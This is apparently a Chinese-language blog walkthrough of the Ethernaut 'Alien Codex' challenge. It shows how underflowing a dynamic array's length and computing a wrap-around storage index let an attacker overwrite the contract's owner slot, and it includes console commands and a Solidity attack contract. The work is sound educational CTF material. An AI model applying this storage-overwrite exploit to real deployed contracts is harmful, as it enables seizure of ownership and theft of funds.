19. Alien Codex

本關重點在於了解storage中的array underflow及如何計算array中元素於storage中的儲存位置。

首先觀看代碼,會發現所有函數都需要contact = true才能呼叫。打開Console (F12),呼叫make_contact函數︰

contract.make_contact()

此時可查看storage中codex內存儲的數據︰

> await web3.eth.getStorageAt(instance, 1);
< "0x0000000000000000000000000000000000000000000000000000000000000000"

codex是一個bytes32的array,於slot 1 中的存放的是array的長度,而array中實際元素的數據則是以另一方法另外存儲的,於下方會有解說。

此時若我們呼叫retract函數可令codex這個array underflow︰

contract.retract()

呼叫後再次查看slot 1 中的數據︰

> await web3.eth.getStorageAt(instance, 1);
< "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"

可以看見slot 1 中的array長度underflow成最大值。

回想起關卡的要求,我們需要改寫owner的值,而owner的值位於slot 0。因此只要計算出一個array元素的位置,該元素的位置因為overflow了storage的最大存儲量2^256 slots,則該元素位置會指向slot 0。此時改寫該codex元素則等同改寫owner的值。

要算出該值首先要知道array中元素在storage中slot位置的算式,該算式很簡單︰

keccak256(slot) + index

codex這個array定義在slot 1,因此第一個元素位於slot keccak256(1) + 0,第二個元素位於slot keccak256(1) + 1,如此類推。

Storage中slot的最大數為2^256,值為 0 – 2^256-1,因為只要把值寫在slot 2^256即會overflow成slot 0。

整合上面的算式,即︰

2^256 = keccak256(slot) + index

重新排列一下,亦即︰

index = 2^256 - keccak256(slot)

只要調用revise函數,將player的地址寫入codex[2^256 – keccak256(slot)],即可覆蓋原owner的地址完成此關。

打開Remix IDE,新建檔案AlienCodex.sol貼上︰

pragma solidity ^0.8.0;

interface IAlienCodex {
    function revise(uint i, bytes32 _content) external;
}

contract AlienCodex {
    address levelInstance;
    
    constructor(address _levelInstance) {
      levelInstance = _levelInstance;
    }
    
    function claim() public {
        unchecked{
            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
        }
    }

}

Remix IDE中,呼叫claim函數。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: